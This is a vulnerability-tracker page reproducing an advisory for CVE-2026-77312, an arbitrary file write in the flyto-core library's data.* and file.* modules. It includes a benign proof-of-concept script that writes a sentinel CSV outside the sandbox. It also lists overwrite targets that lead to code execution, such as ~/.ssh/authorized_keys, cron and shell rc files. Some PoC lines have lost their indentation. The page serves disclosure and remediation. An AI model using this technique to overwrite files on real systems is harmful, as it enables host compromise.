Track vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
10.0

CVE-2026-77312: flyto-core allows writing any file on server

CVE-2026-77312 · published 2 days ago
Summary

The flyto-core library lets attackers write files to any location on the host computer, potentially overwriting scripts, configuration files or scheduled tasks. This can give them the ability to run their own code on the system. Update to the latest version that fully fixes the file‑write checks or stop using the affected write modules until the fix is applied.

What to do
  • Update flyto-core to version 2.26.8.
Affected software
Ecosystem VendorProductAffected versions
pip – flyto-core <= 2.26.7
Fix: upgrade to 2.26.8
Original advisory text
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)
# [CRITICAL] Arbitrary file write via unguarded `data.*` / `file.*` write modules — incomplete fix of GHSA-2956

- **CWE:** CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite).
- **CVSS v3.1:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.3 Critical** (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components).
- AV:N — reachable via the MCP server / recipe engine (`execute_module`). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapes `FLYTO_SANDBOX_DIR`. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes / `~/.bashrc` / cron / `authorized_keys` → RCE.
- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7 line). Modules `data.csv.write` (`src/core/modules/atomic/data/csv_write.py`), `data.json_to_csv` (`.../data/json_to_csv.py`), `file.copy` (`.../file/copy.py`), `file.move` (`.../file/move.py`) — and the broader `data.*`/`file.*`/report-writer families that do not call the path guard.
- **Relationship:** **Incomplete fix of GHSA-2956-977x-2w3r** (Critical arbitrary file write, patched in v2.26.6 by commit `d5f89d7`). That fix routed a hand-picked module list (`image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate`, `document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word`, `browser.pagination` checkpoint) through `validate_path_with_env_config()`. It did **not** cover the `data.*` and `file.*` write families, which still write a client-controlled path with no confinement.

## Reachability (hop-by-hop, guards resolved)
1. Client invokes a module via the recipe engine / MCP `execute_module` (`src/core/mcp_handler.py`, `mcp_server.py`) — the same surface as GHSA-2956 / CVE-2026-55786.
2. `data.csv.write` reads `file_path = params.get('file_path')` and `data` (both client-controlled). Its only path check is `if '..' in file_path: raise` — a denylist that does **not** block absolute paths.
3. It calls `os.makedirs(os.path.dirname(file_path), exist_ok=True)` then `open(file_path, 'w')` and writes `data`. **No call to `validate_path_with_env_config()`** — so `FLYTO_SANDBOX_DIR` confinement is never applied.
4. `data.json_to_csv` (`output_path`), `file.copy` / `file.move` (`shutil.copy2`/`shutil.move` to `destination`) have **no path check at all**.
5. An absolute path such as `/home/<user>/.bashrc`, `/app/src/core/modules/.../<mod>.py`, or a `.flyto` recipe file is written verbatim, outside the sandbox.

**Guard analysis:** the GHSA-2956 enforcement is per-module (e.g. `image/download.py:21` imports and calls `validate_path_with_env_config`). There is **no central path enforcement** in the runtime — `runtime/languages.py`'s `PathTraversalError` guards *plugin entry-point* loading, not module output paths. So a module that omits the per-module call is entirely unconfined.

## Root cause
The remediation for GHSA-2956 confined writes by adding a per-module `validate_path_with_env_config()` call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire `data.*` and `file.*` families here — remains an arbitrary-write primitive. `data.csv.write`'s `'..'`-substring check is a denylist that misses absolute paths.

## Impact
Arbitrary file write with attacker-controlled content and path, escaping `FLYTO_SANDBOX_DIR`. Overwriting a Python module under the install dir, a `.flyto` recipe, a shell rc, a crontab, or `~/.ssh/authorized_keys` yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.

## Executable PoC (benign sentinel, local only)
`FLYTO_SANDBOX_DIR` is set to the intended confinement; the module writes *outside* it while the GHSA-2956 guard rejects the same path.

```python
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/flyto_sbx"); os.makedirs(SBX, exist_ok=True)
sys.path.insert(0, "<flyto-core>/src")
OUT = "/tmp/flyto_PWNED_OUTSIDE.csv" # absolute, outside the sandbox, no ".."
from core.utils import validate_path_with_env_config, PathTraversalError
try:
validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
print("[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
asyncio.run(call(json_to_csv,{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT+'.json.csv'}))
print("wrote outside sandbox:", os.path.exists(OUT),
"| inside sandbox?", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))
```

Observed output:
```
[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path
[data.csv.write] wrote=True inside_sandbox=False
[data.json_to_csv] wrote=True inside_sandbox=False
BUG CONFIRMED (arbitrary write outside sandbox)
sample content: pwn / SENTINEL_CSV
```

## Adversarial re-read (what I tried to refute it with)
- **Central path guard?** No — `runtime/languages.py` `PathTraversalError` only guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed at `image/download.py:21`). A module without the call is unconfined.
- **`'..'` check in `csv_write`?** Denylist; absolute paths contain no `..` → bypassed (PoC uses `/tmp/...`). `json_to_csv`/`file.copy`/`file.move` have no check at all.
- **`required_permissions=['filesystem.write']`?** A capability flag, not a path confinement — the GHSA-2956-guarded modules declare it too and still needed the guard.
- **Sandbox default?** `FLYTO_SANDBOX_DIR` defaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured.
- Result: no concrete blocker. CONFIRMED (incomplete fix).

## Remediation
Enforce confinement centrally: route every filesystem write through `validate_path_with_env_config()` at the engine/module-base layer (e.g. in the write path of `BaseModule`, or a `filesystem.write`-capability hook), instead of per-module opt-in. As an immediate patch, add the call to `data.csv.write`, `data.json_to_csv`, `file.copy`, `file.move`, and audit every module with `filesystem.write` in `required_permissions`. Replace the `'..'` substring denylist with the canonical `realpath`+`startswith(base)` check already in `validate_path_safe`.

## Confidence
High — executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside `FLYTO_SANDBOX_DIR`, while the GHSA-2956 guard rejects the same path.


## Proof-of-Concept source (`poc_arbitrary_write.py`)

```python
"""PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956).
Run: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it."""
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_sbx")
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "..", "flyto-core", "src"))
sys.path.insert(0, "/home/aoc/CVEs/flyto-core/src")
OUT="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_OUTSIDE.csv"; OUT2="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_json.csv"
from core.utils import validate_path_with_env_config, PathTraversalError
try:
validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
print("[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
r1 = asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
r2 = asyncio.run(call(json_to_csv, {'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2}))
for tag,out in [('data.csv.write',OUT),('data.json_to_csv',OUT2)]:
inside = os.path.realpath(out).startswith(os.path.realpath(SBX))
print(f"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -> {out}")
ok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX))
print("BUG CONFIRMED (arbitrary write outside sandbox)" if ok else "NOT CONFIRMED")
print(" sample content:", open(OUT).read().strip())

```
Fix within
Internet-facing 14 days
Internal 60 days
  • Not known to be exploited
  • Can be exploited automatically (estimated)
  • Gives an attacker partial control (estimated)
Severity
10.0 Critical
Exploitation
<1% chance of attack within 30 days
Type
CWE-22Path Traversal
Timeline
Published20 Nov 2026
Updated21 Nov 2026
First seen19 Nov 2026
Sources
Track software like this
Free during beta